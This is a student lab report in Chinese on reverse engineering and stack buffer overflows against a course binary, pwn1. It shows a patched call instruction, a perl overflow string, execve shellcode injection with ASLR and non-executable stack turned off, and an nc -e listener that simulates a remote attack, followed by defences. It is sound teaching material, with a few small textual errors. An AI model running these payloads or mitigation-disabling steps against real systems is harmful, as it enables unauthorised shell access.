20192204-exp1-逆向與Bof基礎

  • 2022 年 3 月 17 日
  • 筆記

1 逆向及Bof基礎實踐說明

1.1 實踐目標

本次實踐使用的是kali系統

本次實踐的對象是一個名為pwn1的linux可執行文件。

該程式正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字元串。

該程式同時包含另一個程式碼片段,getShell,會返回一個可用Shell。正常情況下這個程式碼是不會被運行的。我們實踐的目標就是想辦法運行這個程式碼片段。我們將學習兩種方法運行這個程式碼片段,然後學習如何注入運行任何Shellcode。

三個實踐內容如下:

    1.手工修改可執行文件,改變程式執行流程,直接跳轉到getShell函數。
    2.利用foo函數的Bof漏洞,構造一個攻擊輸入字元串,覆蓋返回地址,觸發getShell函數。
    3.注入一個自己製作的shellcode並運行這段shellcode。

這幾種思路,基本代表現實情況中的攻擊目標:

    1.運行原本不可訪問的程式碼片段
    2.強行修改程式執行流
    3.以及注入運行任意程式碼。

1.2 基礎知識

熟悉Linux基本操作

能看懂常用指令,如管道(|),輸入、輸出重定向(>)等。

理解Bof的原理。

能看得懂彙編、機器指令、EIP、指令地址。

會使用gdb,vi。

當然,如果還不懂,通過這個過程能對以上概念有了更進一步的理解就更好了。

指令、參數

一些具體的問題可以邊做邊查,但最重要的思路、想法不能亂。

要時刻知道,我是在做什麼?現在在查什麼數據?改什麼數據?要改成什麼樣?每步操作都要單獨實踐驗證,再一步步累加為最終結果。

操作成功不重要,照著敲入指令肯定會成功。

重要的是理解思路。

看指導理解思路,然後拋開指導自己做。

碰到問題才能學到知識。

具體的指令可以回到指導中查。

2 直接修改程式機器指令,改變程式執行流程

知識要求:Call指令,EIP暫存器,指令跳轉的偏移計算,補碼,反彙編指令objdump,十六進位編輯工具

學習目標:理解可執行文件與機器指令

進階:掌握ELF文件格式,掌握動態技術

首先在雲班課資源中下載PWN1並將其複製到kali虛擬機上

在桌面右鍵點擊在這裡打開終端,輸入命令objdump -d pwn1 | more進行反彙編

可以看到指令地址、機器指令及彙編指令

在地址80484b5處可以看到,主函數main執行了一次函數調用,對應的彙編指令為call 8048491 <foo>,意為調用位於地址8048491處的foo函數。

本條call指令前面顯示為其對應的機器指令為e8 d7 ff ff ff,e8在機器指令中意為跳轉,當本條指令執行時,機器會將後面的相對地址d7 ff ff ff加上eip暫存器中的值,得到的就是下一條應該跳轉到的指令的地址,此處的d7 ff ff ff為補碼,對應十進位的-41,下一條應該跳轉的地址為EIP+d7ffffff=80484ba-0x29=8048491,正對應上面彙編指令call中的物理地址8048491處的foo函數。

實踐中要求通過直接修改機器指令使得getshell函數被調用,在這裡我們可以通過修改主函數通過call指令調用foo函數處的機器指令e8 d7 ff ff ff為getShell函數所在地址減去80484ba對應的補碼就可以將主函數調用foo函數改為調用etshell函數。

在反彙編頁面繼續下滑,可以看到getshell函數對應的地址為0804847d

將0804847d減去80484ba得到補碼c3ffffff,使其替換d7ffffff即可。

複製PWN1到PWN2,在終端使用vi打開PWN2進行機器指令的修改,修改步驟如下:

1.按esc鍵之後輸入%!xxd將顯示模式改為16進位

2.輸入/f0e8查找到機器指令e8 d7 ff ff ff

3.輸入i進入insert模式,將d7改為c3

4.輸入指令%!xxd -r轉換顯示格式16進位為原格式,這樣保存修改後程式才能正常運行。

5.輸入WQ存檔退出。

在修改完畢之後再次對PWN2使用反彙編指令可以看到主函數的call指令函數調用確實由之前的調用foo函數變為了調用getshell函數。

在終端使用./pwn2時提示運行失敗,右鍵點擊pwn2文件設置許可權為允許作為程式運行

在命令行中重新運行pwn2,輸入指令ls,程式pwn2可以正常運行,成功通過直接修改機器指令實現對程式調用函數的改變

3 通過構造輸入參數,造成BOF攻擊,改變程式執行流

知識要求:堆棧結構,返回地址 學習目標:理解攻擊緩衝區的結果,掌握返回地址的獲取 進階:掌握ELF文件格式,掌握動態技術

3.1 反彙編,了解程式的基本功能

首先使用反彙編命令objdump -d pwn1 | more將程式碼進行反彙編
來到foo函數,通過彙編指令lea -0x1c(%ebp),%eax可以發現foo函數存在緩衝區漏洞,即每次系統只預留28位元組的緩衝區空間,此時如果我們想辦法輸入過長的數據,使得超出部分覆蓋了原本的返回地址,並且使得覆蓋的新數據恰好為函數getshell的地址,這樣就能成功使得程式調用getshell函數。

3.2 確認輸入字元串哪幾個字元會覆蓋到返回地址

運行這步時需檢查自己的虛擬機是否有安裝gdb,在終端中輸入gdb -v即可
輸入命令之後提示虛擬機沒有安裝GDB,在終端中進入管理員模式,輸入以下命令進行GDB的安裝:

sudo chmod a+w /etc/apt/sources.list

sudo chmod a-w /etc/apt/sources.list

apt-get update

apt-get install gdb

輸入完畢後稍等片刻完成GDB安裝,再次輸入gdb -v顯示版本號即為安裝成功:

接下來開始測試輸入一個較長的字元串用於找出輸入的哪些部分可以覆蓋返回地址:
首先進入root模式,輸入gdb pwn1進入調試模式,輸入r開始調試:
輸入一串長數字1111111122222222333333334444444412345678,輸入完畢後輸入info r查看eip暫存器的值:

可以看出此時eip的值為0x34333231,正好對應1234的倒序的ASC碼,所以輸入數字的第24位至28位可以覆蓋返回地址,所以令輸入的第24位至28位對應函數getshell的地址即可讓程式調用函數getshell

通過反彙編可以看到getshell的地址為0804847d,根據之前eip的值是數字1234的逆序的ASC碼可以得出,此時輸入11111111222222223333333344444444\x7d\x84\x04\x08即可將getshell的地址覆蓋到程式的返回地址中。

3.4 構造輸入字元串

因為我們無法直接通過鍵盤輸入\x7d\x84\x04\x08這樣的十六進位字元串,所以我們需要將字元串11111111222222223333333344444444\x7d\x84\x04\x08作為一個文件,然後將其作為pwn1的輸入即可完成十六進位字元串的錄入。

首先輸入perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”‘ > input將字元串存儲到文件「input」中:

然後使用命令xxd input以十六進位的形式查看文件input,可以看到成功將十六進位字元串以文件形式存儲:

然後將input的輸入,通過管道符「|」,作為pwn1的輸入。

輸入完畢之後程式開始運行,此時輸入ls發現成功列出了當前目錄下所有文件,說明成功使用輸入構造過的過長字元串覆蓋返回地址成功使得程式調用函數getshell。

4. 注入Shellcode並執行

4.1 準備一段Shellcode

shellcode就是一段機器指令(code)

通常這段機器指令的目的是為獲取一個互動式的shell(像linux的shell或類似windows下的cmd.exe),所以這段機器指令被稱為shellcode。

在實際的應用中,凡是用來注入的機器指令段都通稱為shellcode,像添加一個用戶、運行一條指令。

本實驗以以下shellcode為例:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

4.2 準備工作

首先需要安裝prelink軟體包以執行execstack命令用於對程式的堆棧進行設置:

根據班課資源提示步驟進行解壓及安裝配置:

配置完畢之後先通過execstack -s pwn1指令來設置堆棧可執行
再用 execstack -q 指令查詢文件的堆棧是否可執行
顯示X pwn1即為堆棧可執行。

接下來使用如下指令來關閉地址隨機化:

more /proc/sys/kernel/randomize_va_space

echo "0" > /proc/sys/kernel/randomize_va_space

more /proc/sys/kernel/randomize_va_space

4.3 構造要注入的payload

根據實驗指導書提示:

Linux下有兩種基本構造攻擊buf的方法:

retaddr+nop+shellcode

nop+shellcode+retaddr

所以就是看shellcode是在緩衝區的前面還是在緩衝區的後面

這裡進行嘗試的結構為:anything+retaddr+nops+shellcode。
輸入perl -e ‘print “\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00″‘ > input_shellcode

上面最後的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。我們得把它改為這段shellcode的地址,這樣就能通過覆蓋返回地址的值執行shellcode

接下來我們來確定\x4\x3\x2\x1到底該填什麼。

打開一個終端注入這段攻擊buf:
(cat input_shellcode;cat) | ./pwn1

注意:輸入該程式碼後回車一次即可,無需多次回車至出現������1�Ph//shh/bin��PS��1Ұ字樣,因為出現該字樣後在前往另外一個終端時會無法attach上該進程。

再開另外一個終端,用gdb來調試pwn1這個進程。

首先使用指令ps -ef | grep pwn1找到pwn1的進程號為27215,隨後啟動gdb進行調試。

先輸入指令attach 27215來聯繫上該進程

使用指令disassemble foo設置斷點,這裡看到ret指令處的地址為0x080484ae,使用指令break *0x080484ae 設置斷點,輸入c繼續運行

注意在輸入c(即continue那一步)時,先應返回原本進程輸入一個回車!

在這裡可以看到esp的地址為0xffffd54c,所以跳轉到0xffffd54c

跳轉後可以看到我們之前注入的shellcode中用於覆蓋返回地址的部分1234:

結合結構anything+retaddr+nops+shellcode,將1234位置的地址加上4位元組(shellcode挨在緩衝
區的後面)即可得到shellcode的地址0xffffd550,所以將0xffffd550替換1234,便可令shellcode的地址覆蓋ret返回地址,所以此處輸入的shellcode應為:

perl -e 'print "A" x 32;print "\x50\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

注入shellcode之後輸入pwn1,執行後輸入ls成功列出當前目錄下所有文件,成功通過注入

shellcode覆蓋返回地址從而執行shellcode:

4.5 結合nc模擬遠程攻擊

本例中是在同一台主機上做的實驗;該實驗最好在互相連通的兩台Linux上做,將ip地址替換為主機1的IP即可。

首先輸入指令sudo ifconfig查看本機的ip地址 127.0.0.1,(這裡要在ifconfig的前面加上sudo,不然會提示找不到該命令。

輸入指令nc -l 127.0.0.1 -p 28234 -e ./pwn1 模擬一個有漏洞的網路服務:

-l 表示listen, -p 後加埠號 -e 後加可執行文件,網路上接收的數據將作為這個程式的輸入

這麼做的目的在於將主機1設置成為伺服器,也就是被攻擊機

主機2,連接主機1並發送攻擊載荷:

打開第三個終端按照之前的步驟進行單步調試並查看esp暫存器的值

找到esp暫存器的值,跳轉之後找到1234處的地址,計算得出shellcode的地址為ddddd550

回到終端重新進行注入,使用xxd查看shellcode的值:

5 Bof攻擊防禦技術

5.1. 從防止注入的角度。

在編譯時,編譯器在每次函數調用前後都加入一定的程式碼,用來設置和檢測堆棧上設置的特定數字,以確認是否有bof攻擊發生。

5.2. 注入了也不讓運行。

結合CPU的頁面管理機制,通過DEP/NX用來將堆棧記憶體區設置為不可執行。這樣即使是注入的shellcode到堆棧上,也執行不了。

通過execstack -s pwn1 來設置堆棧可執行
通過execstack -q pwn1 來查詢文件的堆棧是否可執行

5.3. 增加shellcode的構造難度。

結合CPU的頁面管理機制,通過DEP/NX用來將堆棧記憶體區設置為不可執行。這樣即使是注入的shellcode到堆棧上,也執行不了。

shellcode中需要猜測返回地址的位置,需要猜測shellcode注入後的記憶體位置。這些都極度依賴一個事實:應用的程式碼段、堆棧段每次都被OS放置到固定的記憶體地址。ALSR,地址隨機化就是讓OS每次都用不同的地址載入應用。這樣通過預先反彙編或調試得到的那些地址就都不正確了。

proc/sys/kernel/randomize_va_space用於控制Linux下 記憶體地址隨機化機制(address space layout randomization),有以下三種情況

0 – 表示關閉進程地址空間隨機化。

1 – 表示將mmap的基址,stack和vdso頁面隨機化。

2 – 表示在1的基礎上增加棧(heap)的隨機化。

5.4 從管理的角度

加強編碼品質。注意邊界檢測。使用最新的安全的庫函數。

6 實驗感想

通過本次實驗我成功實現了直接通過修改可執行文件中的機器指令,從而達成對程式執行流程的改變,令其由原來的foo函數改為對getshell函數的調用。通過對這個過程的實踐,我學會了如何使用odjdump來對一個可執行文件進行反彙編,並且重新熟悉了反彙編結果中的地址、機器指令、彙編指令的結構及其大致用途,在直接修改可執行文件的操作中讓我印象比較深的是call指令對應的機器指令是如何實現彙編語言的功能的,e8即為跳轉之意,而後面是相對地址的補碼,只用eip的值減去後面的相對地址才能得到要跳轉的地址,從而完成跳轉,在這個過程中我也了解了機器指令是如何實現彙編指令的。

除此之外,我還學會了使用%!xxd命令在vi編輯器中以16進位的形式打開可執行文件,從而完成對可執行文件的修改。

在通過構造輸入參數,造成BOF攻擊,改變程式執行流的實踐中,我再次複習並成功實現了通過緩衝區溢出攻擊覆蓋程式返回地址從而調用函數getshell,即首先通過反彙編查看可執行文件得到程式預留的緩衝區的長度,然後構造一個過長的輸入字元串,輸入後通過gdb調試來看到輸入字元串的哪些位置覆蓋了返回地址,將其替換為getshell函數的地址即可完成對getshell函數的調用。在這一系列操作中我學會了如何在虛擬機系統的命令行中使用gdb進行調試,並且通過指令info r來看到當前操作下每個暫存器的值,這對於我們預先調試可執行文件並作出攻擊的操作至關重要。同時在構造字元串時,我還學會了使用perl來將16進位輸入串保存到一個文件里再將文件輸入到程式中(鍵盤無法輸入16進位字元串,所以需要perl將字元串保存到一個文件中)

在注入shellcode的實踐中,我了解到了Linux下有兩種基本構造攻擊的方法:retaddr+nop+shellcode nop+shellcode+retaddr,這裡的nops為滑行區,shellcode在注入之後不是在緩衝區的前面就是自緩衝區的後面,通過查看esp暫存器的值,在使用x/16x命令跳轉到相應區域後,加上之前注入的shellcode的末尾部分位元組長度即為注入的shellcode地址,然後重新注入shellcode,並將其替換為shellcode的地址,成功完成了通過注入shellcode並使其地址覆蓋到返回地址從而完成對shellcode的調用。在上述操作中我熟悉了在kali系統中如何查看當前在運行中的進程以及進程號,並在gdb調試中以attach + 進程號的形式成功在另外一個終端中調試進程。

在結合nc模擬遠程攻擊的實踐中,我學會了如何使用nc命令來模擬一個有網路漏洞的伺服器(靶機),並且使用cat指令進行shellcode的注入,並且結合第三個終端來單步調試查看esp的值,最後成功實現對一個有網路漏洞的伺服器的shellcode注入。

在第五部分對bof攻擊防禦技術的學習中,我學會了如何使用execstack命令來設置堆棧不可執行,這樣即使成功注入了shellcode也無法執行,同時也可以使用記憶體地址隨機化的機制來使得每次記憶體中堆棧的地址都會隨機變化,這樣實驗中預先調試可執行文件得到堆棧地址並以此為基礎準備攻擊的方式便不奏效了,是很實用的bof攻擊防禦技術。